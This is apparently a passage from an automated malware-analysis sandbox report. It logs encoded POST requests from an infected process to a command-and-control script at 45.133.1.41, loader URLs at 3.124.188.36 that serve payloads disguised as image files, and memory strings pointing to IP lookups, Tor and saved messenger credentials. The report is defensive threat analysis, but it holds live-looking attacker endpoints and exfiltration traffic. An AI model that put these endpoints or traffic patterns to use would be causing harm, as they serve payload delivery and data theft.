p=gEfqzfvH6QAhY8k69IEH8aJ9aF2ltss3rxJJ3edtKfw%2BqRiGc0BlLtiL6PNkFcWkV38ABHfDZQKEIBnScN27vHmiA/HYua9rWBDpf1rpvXNCzqS6coJY8pS%2BwxHM2ihGjOzWKMunvrLa6Rx7AhCc5hd12u1K0akSYPb7WyxNiexYIxcETCGV/7neUSEJHmuOvgzhGpL2fQEoZZfGZ//4saOdX6P6X2sdW6Vj8INiNmcZSZkZ3WyH0nmBGhJruufSiM
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-AliveData Raw: 70 3d 67 45 66 71 7a 66 76 48 36 51 41 68 59 38 6b 36 39 49 45 48 38 61 4a 39 61 46 32 6c 74 73 73 33 72 78 4a 4a 33 65 64 74 4b 66 77 25 32 42 71 52 69 47 63 30 42 6c 4c 74 69 4c 36 50 4e 6b 46 63 57 6b 56 33 38 41 42 48 66 44 5a 51 4b 45 49 42 6e 53 63 4e 32 37 76 48 6d 69 41 2f 48 59 75 61 39 72 57 42 44 70 66 31 72 70 76 58 4e 43 7a 71 53 36 63 6f 4a 59 38 70 53 25 32 42 77 78 48 4d 32 69 68 47 6a 4f 7a 57 4b 4d 75 6e 76 72 4c 61 36 52 78 37 41 68 43 63 35 68 64 31 32 75 31 4b 30 61 6b 53 59 50 62 37 57 79 78 4e 69 65 78 59 49 78 63 45 54 43 47 56 2f 37 6e 65 55 53 45 4a 48 6d 75 4f 76 67 7a 68 47 70 4c 32 66 51 45 6f 5a 5a 66 47 5a 2f 2f 34 73 61 4f 64 58 36 50 36 58 32 73 64 57 36 56 6a 38 49 4e 69 4e 6d 63 5a 53 5a 6b 5a 33 57 79 48 30 6e 6d 42 47 68 4a 72 75 75 66 53 69 4d Data Ascii: p=gEfqzfvH6QAhY8k69IEH8aJ9aF2ltss3rxJJ3edtKfw%2BqRiGc0BlLtiL6PNkFcWkV38ABHfDZQKEIBnScN27vHmiA/HYua9rWBDpf1rpvXNCzqS6coJY8pS%2BwxHM2ihGjOzWKMunvrLa6Rx7AhCc5hd12u1K0akSYPb7WyxNiexYIxcETCGV/7neUSEJHmuOvgzhGpL2fQEoZZfGZ//4saOdX6P6X2sdW6Vj8INiNmcZSZkZ3WyH0nmBGhJruufSiM
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-AliveData Raw: 70 3d 67 45 66 71 7a 66 76 48 36 51 41 68 59 38 6b 36 39 49 45 48 38 61 4a 39 61 46 32 6c 74 73 73 33 72 78 4a 4a 33 65 64 74 4b 66 77 25 32 42 71 52 69 47 63 30 42 6c 4c 74 69 4c 36 50 4e 6b 46 63 57 6b 56 33 38 41 42 48 66 44 5a 51 4b 45 49 42 6e 53 63 4e 32 37 76 48 6d 69 41 2f 48 59 75 61 39 72 57 42 44 70 66 31 72 70 76 58 4e 43 7a 71 53 36 63 6f 4a 59 38 70 53 25 32 42 77 78 48 4d 32 69 68 47 6a 4f 7a 57 4b 4d 75 6e 76 72 4c 61 36 52 78 37 41 68 43 63 35 68 64 31 32 75 31 4b 30 61 6b 53 59 50 62 37 57 79 78 4e 69 65 78 59 49 78 63 45 54 43 47 56 2f 37 6e 65 55 53 45 4a 48 6d 75 4f 76 67 7a 68 47 70 4c 32 66 51 45 6f 5a 5a 66 47 5a 2f 2f 34 73 61 4f 64 58 36 50 36 58 32 73 64 57 36 56 6a 38 49 4e 69 4e 6d 63 5a 53 5a 6b 5a 33 57 79 48 30 6e 6d 42 47 68 4a 72 75 75 66 53 69 4d 53 76 30 31 58 41 52 48 4a 4a 5a 4f 4a 71 61 66 73 44 2f 42 6b 6d 4c 79 79 4f 78 55 36 56 57 42 41 36 6d 6e 33 45 34 38 32 32 67 70 74 5a 42 53 65 4f 79 6a 6a 30 4a 71 77 30 6b 5a 7a 5a 79 49 50 36 79 65 43 47 76 25 32 42 78 4a 78 38 4f 7a 43 79 75 56 50 4c 63 49 41 39 34 4c 68 79 78 64 73 39 25 32 42 6e 35 62 53 33 51 4f 63 77 4b 55 76 70 74 57 4a 48 66 56 6a 5a 75 76 57 46 4b 25 32 42 4f 44 6d 39 79 4a 76 58 61 68 79 33 6a 50 6b 4f 42 6b 78 31 34 6a 32 35 42 49 6e 32 68 65 30 65 63 6e 74 50 71 50 6b 6d 59 30 4b 31 65 45 41 78 34 31 4b 41 41 4e 38 76 44 38 65 4a 72 56 30 58 66 73 6d 79 53 70 6d 46 6e 4a 52 75 58 33 36 67 6c 42 41 4f 59 6f 77 6f 4c 77 79 79 44 65 66 51 63 58 32 67 51 6b 32 2f 70 7a 7a 2f 32 4c 72 4f 61 37 65 50 48 34 6f 2f 71 64 4e 7a 76 58 71 7a 72 64 79 42 7a 57 6b 34 31 47 53 44 77 7a 33 71 70 79 38 6a 39 52 6b 64 57 4f 4b 43 61 4f 75 75 2f 32 65 31 73 35 41 34 37 79 77 53 31 2f 6a 6b 42 66 56 52 51 52 4b 77 3d 3d Data Ascii: p=gEfqzfvH6QAhY8k69IEH8aJ9aF2ltss3rxJJ3edtKfw%2BqRiGc0BlLtiL6PNkFcWkV38ABHfDZQKEIBnScN27vHmiA/HYua9rWBDpf1rpvXNCzqS6coJY8pS%2BwxHM2ihGjOzWKMunvrLa6Rx7AhCc5hd12u1K0akSYPb7WyxNiexYIxcETCGV/7neUSEJHmuOvgzhGpL2fQEoZZfGZ//4saOdX6P6X2sdW6Vj8INiNmcZSZkZ3WyH0nmBGhJruufSiMSv01XARHJJZOJqafsD/BkmLyyOxU6VWBA6mn3E4822gptZBSeOyjj0Jqw0kZzZyIP6yeCGv%2BxJx8OzCyuVPLcIA94Lhyxds9%2Bn5bS3QOcwKUvptWJHfVjZuvWFK%2BODm9yJvXahy3jPkOBkx14j25BIn2he0ecntPqPkmY0K1eEAx41KAAN8vD8eJrV0XfsmySpmFnJRuX36glBAOYowoLwyyDefQcX2gQk2/pzz/2LrOa7ePH4o/qdNzvXqzrdyBzWk41GSDwz3qpy8j9RkdWOKCaOuu/2e1s5A47ywS1/jkBfVRQRKw==
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-AliveData Raw: 70 3d 67 45 66 71 7a 66 76 48 36 51 41 68 59 38 6b 36 39 49 45 48 38 61 4a 39 61 46 32 6c 74 73 73 33 72 78 4a 4a 33 65 64 74 4b 66 77 25 32 42 71 52 69 47 63 30 42 6c 4c 74 69 4c 36 50 4e 6b 46 63 57 6b 56 33 38 41 42 48 66 44 5a 51 4b 45 49 42 6e 53 63 4e 32 37 76 48 6d 69 41 2f 48 59 75 61 39 72 57 42 44 70 66 31 72 70 76 58 4e 43 7a 71 53 36 63 6f 4a 59 38 70 53 25 32 42 77 78 48 4d 32 69 68 47 6a 4f 7a 57 4b 4d 75 6e 76 72 4c 61 36 52 78 37 41 68 43 63 35 68 64 31 32 75 31 4b 30 61 6b 53 59 50 62 37 57 79 78 4e 69 65 78 59 49 78 63 45 54 43 47 56 2f 37 6e 65 55 53 45 4a 48 6d 75 4f 76 67 7a 68 47 70 4c 32 66 51 45 6f 5a 5a 66 47 5a 2f 2f 34 73 61 4f 64 58 36 50 36 58 32 73 64 57 36 56 6a 38 49 4e 69 4e 6d 63 5a 53 5a 6b 5a 33 57 79 48 30 6e 6d 42 47 68 4a 72 75 75 66 53 69 4d 53 76 30 31 58 41 52 48 4a 4a 5a 4f 4a 71 61 66 73 44 2f 42 6b 6d 4c 79 79 4f 78 55 36 56 57 42 41 36 6d 6e 33 45 34 38 32 32 67 70 74 5a 42 53 65 4f 79 6a 6a 30 4a 71 77 30 6b 5a 7a 5a 79 49 50 36 79 65 43 47 76 25 32 42 78 4a 78 38 4f 7a 43 79 75 56 50 4c 63 49 41 39 34 4c 68 79 78 64 73 39 25 32 42 6e 35 62 53 33 51 4f 63 77 4b 55 76 70 74 57 4a 48 66 56 6a 5a 75 76 57 46 4b 25 32 42 4f 44 6d 39 79 4a 76 58 61 68 79 33 6a 50 6b 4f 42 6b 78 31 34 6a 32 35 42 49 6e 32 68 65 30 65 63 6e 74 50 71 50 6b 6d 59 30 4b 31 65 45 41 78 34 31 4b 41 41 4e 38 76 44 38 65 4a 72 56 30 58 66 73 6d 79 53 70 6d 46 6e 4a 52 75 58 33 36 67 6c 42 41 4f 59 6f 77 6f 4c 77 79 79 44 65 66 51 63 58 32 67 51 6b 32 2f 70 7a 7a 2f 32 4c 72 4f 61 37 65 50 48 34 6f 2f 71 64 4e 7a 76 58 71 7a 72 64 79 42 7a 57 6b 34 31 47 53 44 77 7a 33 71 70 79 38 6a 39 52 6b 64 57 4f 4b 43 61 4f 75 75 2f 32 65 31 73 35 41 34 37 79 77 53 31 2f 6a 6b 42 66 56 52 51 52 4b 77 3d 3d Data Ascii: p=gEfqzfvH6QAhY8k69IEH8aJ9aF2ltss3rxJJ3edtKfw%2BqRiGc0BlLtiL6PNkFcWkV38ABHfDZQKEIBnScN27vHmiA/HYua9rWBDpf1rpvXNCzqS6coJY8pS%2BwxHM2ihGjOzWKMunvrLa6Rx7AhCc5hd12u1K0akSYPb7WyxNiexYIxcETCGV/7neUSEJHmuOvgzhGpL2fQEoZZfGZ//4saOdX6P6X2sdW6Vj8INiNmcZSZkZ3WyH0nmBGhJruufSiMSv01XARHJJZOJqafsD/BkmLyyOxU6VWBA6mn3E4822gptZBSeOyjj0Jqw0kZzZyIP6yeCGv%2BxJx8OzCyuVPLcIA94Lhyxds9%2Bn5bS3QOcwKUvptWJHfVjZuvWFK%2BODm9yJvXahy3jPkOBkx14j25BIn2he0ecntPqPkmY0K1eEAx41KAAN8vD8eJrV0XfsmySpmFnJRuX36glBAOYowoLwyyDefQcX2gQk2/pzz/2LrOa7ePH4o/qdNzvXqzrdyBzWk41GSDwz3qpy8j9RkdWOKCaOuu/2e1s5A47ywS1/jkBfVRQRKw==
Source: global traffic HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: unknown TCP traffic detected without corresponding DNS query: 3.124.188.36
Source: InstallUtil.exe, 0000000E.00000002.490929269.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: TM57812337.exe, 00000000.00000002.359956017.0000000002551000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475551325.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489449039.0000000003331000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507761742.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://3.124.188.36
Source: Qjarsxlh.exe, Qjarsxlh.exe, 00000010.00000002.507761742.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://3.124.188.36/bay/loader/uploads/TM57812337_Nbfpwrzt.bmp
Source: TM57812337.exe, 00000000.00000002.359393635.0000000000112000.00000002.00000001.01000000.00000003.sdmp, Qjarsxlh.exe, 0000000F.00000002.482637947.0000000000E82000.00000002.00000001.01000000.00000009.sdmp, Qjarsxlh.exe, 00000010.00000002.506852615.00000000006D2000.00000002.00000001.01000000.00000009.sdmp String found in binary or memory: http://3.124.188.36/bay/loader/uploads/TM57812337_Nbfpwrzt.bmp5Khtha.Properties.Resources
Source: Qqsucntzxgqwkiqkvrafiufflip.exe, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475551325.0000000002D91000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://3.124.188.36/bay/loader/uploads/flip_Jozgxzue.jpg
Source: Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000000.336203472.0000000000B22000.00000002.00000001.01000000.00000008.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.474926628.0000000001145000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://3.124.188.36/bay/loader/uploads/flip_Jozgxzue.jpg7Eiipbn.Properties.Resources
Source: InstallUtil.exe, 0000000E.00000002.492252394.000000000324E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.133.1.41
Source: InstallUtil.exe, 0000000E.00000003.429581802.00000000014AB000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.492252394.000000000324E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.133.1.41/jah/inc/9f3d37faadd0a5.php
Source: InstallUtil.exe, 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.133.1.41/jah/inc/9f3d37faadd0a5.php127.0.0.1POST
Source: InstallUtil.exe, 0000000E.00000003.450778091.00000000014AC000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.490445917.0000000001499000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://45.133.1.41/jah/inc/9f3d37faadd0a5.phpS
Source: InstallUtil.exe, 0000000E.00000002.492252394.000000000324E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://45.133.1.414
Source: InstallUtil.exe, 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: InstallUtil.exe, 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://YHHdpI.com
Source: InstallUtil.exe, 0000000E.00000003.462904984.00000000063E0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000003.485650023.00000000063E0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000003.487971745.00000000063E0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.495084891.00000000063E0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000003.450730842.00000000063E0000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000003.462615950.00000000063E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ctl133.1.41/jah/inc/9f3d37faadd0a5.php
Source: TM57812337.exe, 00000000.00000002.359956017.0000000002551000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475551325.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000002.492252394.000000000324E000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489449039.0000000003331000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507761742.0000000002AA1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: InstallUtil.exe, 0000000E.00000003.429515499.00000000063B9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000003.429433216.00000000063A1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000E.00000003.450686331.00000000063B2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.microsoft.c
Source: InstallUtil.exe, 00000021.00000002.535075239.0000000006380000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://wwwrosoft.com/pkiops/crl/MicCod
Source: InstallUtil.exe, 0000000E.00000002.490929269.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org%
Source: InstallUtil.exe, 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.ipify.org%appdata
Source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475823039.0000000002E5E000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489936529.0000000003406000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475823039.0000000002E5E000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489936529.0000000003406000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475823039.0000000002E5E000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489936529.0000000003406000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: InstallUtil.exe, 0000000E.00000002.492466888.000000000329B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gqbmwswBay.org
Source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.475823039.0000000002E5E000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.489936529.0000000003406000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Qjarsxlh.exe, 00000010.00000002.507900582.0000000002B76000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp, TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp, TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000003.469133000.0000000003FB0000.00000004.00000800.00020000.00000000.sdmp, Qqsucntzxgqwkiqkvrafiufflip.exe, 0000000C.00000002.477264623.0000000005DB0000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.428208738.0000000004548000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000003.429886945.000000000461B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 0000000F.00000002.491299133.0000000006290000.00000004.08000000.00040000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.440435154.0000000003CB8000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000003.441550036.0000000003D8B000.00000004.00000800.00020000.00000000.sdmp, Qjarsxlh.exe, 00000010.00000002.508571401.0000000005AC0000.00000004.08000000.00040000.00000000.sdmp String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: InstallUtil.exe, 0000000E.00000002.490929269.0000000002F31000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000021.00000002.534481015.0000000002E43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
Source: unknown HTTP traffic detected: POST /jah/inc/9f3d37faadd0a5.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Content-Type: application/x-www-form-urlencodedHost: 45.133.1.41Content-Length: 580Expect: 100-continueConnection: Keep-Alive
